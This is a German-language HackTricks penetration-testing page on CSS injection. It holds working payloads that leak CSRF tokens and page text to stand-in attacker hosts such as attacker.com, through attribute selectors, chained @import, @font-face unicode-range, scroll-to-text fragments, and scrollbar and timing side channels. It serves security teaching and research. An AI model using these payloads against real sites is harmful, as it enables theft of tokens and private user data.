hacktricks/pentesting-web/xs-search/css-injection
2024-03-24 12:26:54 +00:00
..
css-injection-code.md Translated ['README.md', 'forensics/basic-forensic-methodology/partition 2024-03-09 13:16:41 +00:00
README.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-03-24 12:26:54 +00:00

CSS Injection

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


CSS Injection

Attribut-Selektor

CSS-Selektoren sind so gestaltet, dass sie Werte der name- und value-Attribute eines input-Elements abgleichen. Wenn das value-Attribut des Eingabeelements mit einem bestimmten Zeichen beginnt, wird eine vordefinierte externe Ressource geladen:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

Umgehung für versteckte Elemente

Um diese Einschränkung zu umgehen, können Sie ein nachfolgendes Geschwisterelement mithilfe des allgemeinen Geschwisterkombinators ~ anvisieren. Die CSS-Regel gilt dann für alle Geschwister, die dem versteckten Eingabeelement folgen, wodurch das Hintergrundbild geladen wird:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Voraussetzungen für CSS-Injection

Damit die CSS-Injection-Technik wirksam ist, müssen bestimmte Bedingungen erfüllt sein:

  1. Payload-Länge: Der CSS-Injection-Vektor muss ausreichend lange Payloads unterstützen, um die erstellten Selektoren unterzubringen.
  2. CSS-Neubewertung: Sie sollten die Möglichkeit haben, die Seite zu rahmen, was erforderlich ist, um die Neubewertung von CSS mit neu generierten Payloads auszulösen.
  3. Externe Ressourcen: Die Technik setzt die Möglichkeit voraus, extern gehostete Bilder zu verwenden. Dies kann durch die Content-Security-Richtlinie (CSP) der Website eingeschränkt sein.

Blind-Attributselektor

Wie in diesem Beitrag erklärt, ist es möglich, die Selektoren :has und :not zu kombinieren, um Inhalte auch von blinden Elementen zu identifizieren. Dies ist sehr nützlich, wenn Sie keine Ahnung haben, was sich in der Webseite befindet, die die CSS-Injection lädt.
Es ist auch möglich, diese Selektoren zu verwenden, um Informationen aus mehreren Blöcken desselben Typs wie in:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

Kombiniert man dies mit der folgenden @import-Technik, ist es möglich, eine Menge Informationen mithilfe von CSS-Injektion aus blinden Seiten mit blind-css-exfiltration** zu exfiltrieren**.

@import

Die vorherige Technik hat einige Nachteile, überprüfen Sie die Voraussetzungen. Sie müssen entweder in der Lage sein, mehrere Links an das Opfer zu senden, oder Sie müssen in der Lage sein, die CSS-Injektions-anfällige Seite in ein iFrame einzubetten.

Es gibt jedoch eine weitere clevere Technik, die CSS @import verwendet, um die Qualität der Technik zu verbessern.

Dies wurde erstmals von Pepe Vila gezeigt und funktioniert wie folgt:

Anstatt die Seite immer wieder mit dutzenden verschiedener Payloads zu laden (wie bei der vorherigen Methode), werden wir die Seite nur einmal und nur mit einem Import zum Server des Angreifers laden (dies ist der Payload, der an das Opfer gesendet werden soll):

@import url('//attacker.com:5001/start?');
  1. Der Import erhält ein CSS-Skript von den Angreifern und der Browser wird es laden.
  2. Der erste Teil des CSS-Skripts, den der Angreifer senden wird, ist ein weiteres @import zum Server der Angreifer.
  3. Der Server der Angreifer wird auf diese Anfrage noch nicht antworten, da wir einige Zeichen durchsickern lassen wollen und dann auf diesen Import mit dem Payload antworten, um die nächsten durchsickern zu lassen.
  4. Der zweite und größere Teil des Payloads wird ein Payload zur Leckage von Attributselektoren sein.
  5. Dies wird dem Server der Angreifer das erste Zeichen des Geheimnisses und das letzte senden.
  6. Sobald der Server der Angreifer das erste und letzte Zeichen des Geheimnisses erhalten hat, wird er den Import, der im Schritt 2 angefordert wurde, beantworten.
  7. Die Antwort wird genau wie die Schritte 2, 3 und 4 sein, aber dieses Mal wird versucht, das zweite Zeichen des Geheimnisses und dann das vorletzte zu finden.

Der Angreifer wird diesen Vorgang wiederholen, bis es ihm gelingt, das Geheimnis vollständig preiszugeben.

Sie können den ursprünglichen Code von Pepe Vila, um dies auszunutzen, hier finden oder Sie können fast den gleichen Code, aber kommentiert hier finden.

{% hint style="info" %} Das Skript wird versuchen, jedes Mal 2 Zeichen zu entdecken (vom Anfang und vom Ende), weil der Attributselektor Dinge wie:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

Dies ermöglicht es dem Skript, das Geheimnis schneller preiszugeben. {% endhint %}

{% hint style="warning" %} Manchmal erkennt das Skript nicht korrekt, dass das entdeckte Präfix + Suffix bereits die vollständige Flagge ist, und es wird weiter vorwärts (im Präfix) und rückwärts (im Suffix) gehen und irgendwann hängen bleiben.
Keine Sorge, überprüfen Sie einfach die Ausgabe, denn dort können Sie die Flagge sehen. {% endhint %}

Andere Selektoren

Andere Möglichkeiten, auf DOM-Teile mit CSS-Selektoren zuzugreifen:

  • .class-to-search:nth-child(2): Dies sucht das zweite Element mit der Klasse "class-to-search" im DOM.
  • :empty Selektor: Verwendet zum Beispiel in diesem Writeup:
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

Fehlerbasierte XS-Suche

Referenz: CSS-basierter Angriff: Ausnutzung von unicode-range von @font-face , Fehlerbasierte XS-Suche PoC von @terjanq

Die allgemeine Absicht besteht darin, eine benutzerdefinierte Schriftart von einem kontrollierten Endpunkt zu verwenden und sicherzustellen, dass Text (in diesem Fall 'A') nur mit dieser Schriftart angezeigt wird, wenn die angegebene Ressource (favicon.ico) nicht geladen werden kann.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Verwendung von benutzerdefinierten Schriftarten:

    • Eine benutzerdefinierte Schriftart wird mit der @font-face-Regel innerhalb eines <style>-Tags im <head>-Abschnitt definiert.
    • Die Schriftart ist als poc benannt und wird von einem externen Endpunkt (http://attacker.com/?leak) abgerufen.
    • Die unicode-range-Eigenschaft ist auf U+0041 gesetzt und zielt auf das spezifische Unicode-Zeichen 'A' ab.
  2. Objektelement mit Fallback-Text:

    • Ein <object>-Element mit der id="poc0" wird im <body>-Abschnitt erstellt. Dieses Element versucht, eine Ressource von http://192.168.0.1/favicon.ico zu laden.
    • Die font-family für dieses Element ist auf 'poc' festgelegt, wie im <style>-Abschnitt definiert.
    • Wenn die Ressource (favicon.ico) nicht geladen werden kann, wird der Fallback-Inhalt (der Buchstabe 'A') innerhalb des <object>-Tags angezeigt.
    • Der Fallback-Inhalt ('A') wird mit der benutzerdefinierten Schriftart poc gerendert, wenn die externe Ressource nicht geladen werden kann.

Gestaltung des Scroll-to-Text-Fragments

Die :target-Pseudo-Klasse wird verwendet, um ein Element auszuwählen, das von einem URL-Fragment anvisiert wird, wie in der CSS-Selektoren Level 4-Spezifikation angegeben. Es ist wichtig zu verstehen, dass ::target-text keine Elemente auswählt, es sei denn, der Text wird explizit vom Fragment anvisiert.

Ein Sicherheitsrisiko entsteht, wenn Angreifer die Scroll-to-Text-Fragmentfunktion ausnutzen, um die Anwesenheit eines bestimmten Textes auf einer Webseite zu bestätigen, indem sie durch HTML-Injektion eine Ressource von ihrem Server laden. Die Methode beinhaltet das Einschleusen einer CSS-Regel wie dieser:

:target::before { content : url(target.png) }

In solchen Szenarien wird bei Vorhandensein des Textes "Administrator" auf der Seite die Ressource target.png vom Server angefordert, was auf das Vorhandensein des Textes hinweist. Eine Instanz dieses Angriffs kann über eine speziell erstellte URL ausgeführt werden, die das injizierte CSS neben einem Scroll-to-Text-Fragment einbettet:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Hier manipuliert der Angriff die HTML-Injektion, um den CSS-Code zu übertragen, mit dem Ziel, den spezifischen Text "Administrator" durch das Scroll-to-Text-Fragment (#:~:text=Administrator) anzusteuern. Wenn der Text gefunden wird, wird die angegebene Ressource geladen und signalisiert unbeabsichtigt ihre Anwesenheit gegenüber dem Angreifer.

Zur Minderung sollten die folgenden Punkte beachtet werden:

  1. Eingeschränktes STTF-Matching: Das Scroll-to-Text-Fragment (STTF) ist darauf ausgelegt, nur Wörter oder Sätze abzugleichen, wodurch seine Fähigkeit begrenzt wird, beliebige Geheimnisse oder Tokens preiszugeben.
  2. Beschränkung auf Top-Level-Browsing-Kontexte: STTF funktioniert ausschließlich in Top-Level-Browsing-Kontexten und nicht innerhalb von iframes, was jeden Ausbeutungsversuch für den Benutzer auffälliger macht.
  3. Notwendigkeit der Benutzeraktivierung: STTF erfordert eine Benutzeraktivierungsgeste, um zu funktionieren, was bedeutet, dass Ausbeutungen nur durch benutzerinitiierte Navigationen möglich sind. Diese Anforderung mindert das Risiko automatisierter Angriffe erheblich, ohne Benutzerinteraktion. Dennoch weist der Autor des Blog-Beitrags auf spezifische Bedingungen und Umgehungen hin (z. B. Social Engineering, Interaktion mit verbreiteten Browsererweiterungen), die die Automatisierung des Angriffs erleichtern könnten.

Das Bewusstsein für diese Mechanismen und potenziellen Schwachstellen ist entscheidend für die Aufrechterhaltung der Websicherheit und den Schutz vor solchen ausbeuterischen Taktiken.

Für weitere Informationen lesen Sie den Originalbericht: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Sie können ein Exploit, der diese Technik für ein CTF verwendet, hier überprüfen.

@font-face / unicode-range

Sie können externe Schriftarten für spezifische Unicode-Werte angeben, die nur gesammelt werden, wenn diese Unicode-Werte auf der Seite vorhanden sind. Zum Beispiel:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

Textknoten-Exfiltration (I): Ligaturen

Referenz: Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację

Die beschriebene Technik beinhaltet das Extrahieren von Text aus einem Knoten, indem Schrift-Ligaturen ausgenutzt und Änderungen in der Breite überwacht werden. Der Prozess umfasst mehrere Schritte:

  1. Erstellung von benutzerdefinierten Schriftarten:
  • SVG-Schriftarten werden mit Glyphen erstellt, die ein Attribut horiz-adv-x haben, das eine große Breite für eine Glyphe festlegt, die eine Zwei-Zeichen-Sequenz darstellt.
  • Beispiel für eine SVG-Glyphe: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, wobei "XY" eine Zwei-Zeichen-Sequenz darstellt.
  • Diese Schriftarten werden dann mit Fontforge in das woff-Format konvertiert.
  1. Erkennung von Breitenänderungen:
  • CSS wird verwendet, um sicherzustellen, dass der Text nicht umbrochen wird (white-space: nowrap) und um den Scrollbalkenstil anzupassen.
  • Das Erscheinen eines horizontalen Scrollbalkens, der deutlich gestylt ist, dient als Indikator (Orakel) dafür, dass eine bestimmte Ligatur und somit eine bestimmte Zeichensequenz im Text vorhanden ist.
  • Das beteiligte CSS:
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Ausnutzungsprozess:
  • Schritt 1: Schriftarten werden für Zeichenpaare mit erheblicher Breite erstellt.
  • Schritt 2: Ein Trick basierend auf dem Scrollbalken wird verwendet, um zu erkennen, wann die Glyphe mit großer Breite (Ligatur für ein Zeichenpaar) gerendert wird, was auf das Vorhandensein der Zeichensequenz hinweist.
  • Schritt 3: Nach Erkennen einer Ligatur werden neue Glyphen für Dreizeichen-Sequenzen generiert, die das erkannte Paar enthalten und ein vorangehendes oder nachfolgendes Zeichen hinzufügen.
  • Schritt 4: Die Erkennung der Dreizeichen-Ligatur wird durchgeführt.
  • Schritt 5: Der Prozess wiederholt sich und enthüllt allmählich den gesamten Text.
  1. Optimierung:
  • Die aktuelle Initialisierungsmethode mit <meta refresh=... ist nicht optimal.
  • Ein effizienterer Ansatz könnte den CSS @import-Trick einbeziehen, um die Leistung des Exploits zu verbessern.

Textknoten-Exfiltration (II): Offenlegung des Zeichensatzes mit einer Standardschriftart (keine externen Ressourcen erforderlich)

Referenz: PoC mit Comic Sans von @Cgvwzq & @Terjanq

Dieser Trick wurde in diesem Slackers-Thread veröffentlicht. Der im Textknoten verwendete Zeichensatz kann unter Verwendung der Standard-Schriftarten im Browser geleakt werden: Es sind keine externen - oder benutzerdefinierten - Schriftarten erforderlich.

Das Konzept dreht sich darum, eine Animation zu nutzen, um die Breite eines div schrittweise zu vergrößern, wodurch ein Zeichen nach dem anderen vom 'Suffix'-Teil des Textes zum 'Präfix'-Teil übergehen kann. Dieser Prozess teilt den Text effektiv in zwei Abschnitte:

  1. Präfix: Die anfängliche Zeile.
  2. Suffix: Die nachfolgenden Zeile(n).

Die Übergangsphasen der Zeichen würden wie folgt aussehen:

C
ADB

CA
DB

CAD
B

CADB

Während dieses Übergangs wird der unicode-range-Trick verwendet, um jedes neue Zeichen zu identifizieren, wenn es dem Präfix beitritt. Dies wird erreicht, indem die Schriftart auf Comic Sans umgestellt wird, die deutlich größer ist als die Standardschriftart und somit einen vertikalen Scrollbalken auslöst. Das Erscheinen dieses Scrollbalkens enthüllt indirekt das Vorhandensein eines neuen Zeichens im Präfix.

Obwohl diese Methode das Erkennen einzigartiger Zeichen ermöglicht, wenn sie erscheinen, gibt sie nicht an, welches Zeichen wiederholt wird, sondern nur, dass eine Wiederholung stattgefunden hat.

{% hint style="info" %} Grundsätzlich wird der unicode-range verwendet, um ein Zeichen zu erkennen, aber da wir keine externe Schriftart laden möchten, müssen wir einen anderen Weg finden.
Wenn das Zeichen gefunden wird, wird ihm die vorinstallierte Comic Sans-Schriftart zugewiesen, die das Zeichen vergrößert und einen Scrollbalken auslöst, der das gefundene Zeichen leakt. {% endhint %}

Überprüfen Sie den aus dem PoC extrahierten Code:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```css
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Textknoten-Exfiltration (III): Auslaufen des Zeichensatzes mit einer Standardschriftart durch Ausblenden von Elementen (keine externen Ressourcen erforderlich)

Referenz: Dies wird als eine erfolglose Lösung in diesem Bericht erwähnt

Dieser Fall ist dem vorherigen sehr ähnlich, jedoch besteht das Ziel in diesem Fall darin, bestimmte Zeichen größer als andere zu machen, um etwas zu verbergen, wie z.B. eine Schaltfläche, die nicht vom Bot gedrückt werden soll, oder ein Bild, das nicht geladen wird. So könnten wir die Aktion (oder das Fehlen der Aktion) messen und wissen, ob ein bestimmtes Zeichen im Text vorhanden ist.

Textknoten-Exfiltration (III): Auslaufen des Zeichensatzes durch Cache-Timing (keine externen Ressourcen erforderlich)

Referenz: Dies wird als eine erfolglose Lösung in diesem Bericht erwähnt

In diesem Fall könnten wir versuchen zu exfiltrieren, ob ein Zeichen im Text vorhanden ist, indem wir eine gefälschte Schriftart aus demselben Ursprung laden:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Wenn es eine Übereinstimmung gibt, wird die Schriftart von /static/bootstrap.min.css?q=1 geladen. Obwohl es nicht erfolgreich geladen wird, sollte der Browser es zwischenspeichern, und selbst wenn kein Cache vorhanden ist, gibt es einen 304 not modified Mechanismus, so dass die Antwort schneller sein sollte als andere Dinge.

Wenn jedoch der Zeitunterschied zwischen der zwischengespeicherten Antwort und der nicht zwischengespeicherten Antwort nicht groß genug ist, ist dies nicht nützlich. Zum Beispiel erwähnte der Autor: Nach Tests stellte ich fest, dass das erste Problem ist, dass die Geschwindigkeit nicht viel anders ist, und das zweite Problem ist, dass der Bot das disk-cache-size=1-Flag verwendet, was wirklich durchdacht ist.

Textknoten-Exfiltration (III): Offenlegung des Zeichensatzes durch zeitgesteuertes Laden von Hunderten lokaler "Schriftarten" (ohne externe Ressourcen)

Referenz: Dies wird als eine erfolglose Lösung in diesem Bericht erwähnt

In diesem Fall können Sie CSS angeben, um Hunderte von gefälschten Schriftarten aus der gleichen Quelle zu laden, wenn eine Übereinstimmung auftritt. Auf diese Weise können Sie die Zeit messen, die benötigt wird, und herausfinden, ob ein Zeichen erscheint oder nicht, beispielsweise mit:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

Und der Code des Bots sieht so aus:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Wenn die Schriftart nicht übereinstimmt, wird erwartet, dass die Antwortzeit beim Besuch des Bots etwa 30 Sekunden beträgt. Wenn jedoch eine Schriftartübereinstimmung vorliegt, werden mehrere Anfragen gesendet, um die Schriftart abzurufen, was dazu führt, dass das Netzwerk kontinuierlich aktiv ist. Dadurch dauert es länger, die Abbruchbedingung zu erfüllen und die Antwort zu erhalten. Daher kann die Antwortzeit als Indikator verwendet werden, um festzustellen, ob eine Schriftartübereinstimmung vorliegt.

Referenzen

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: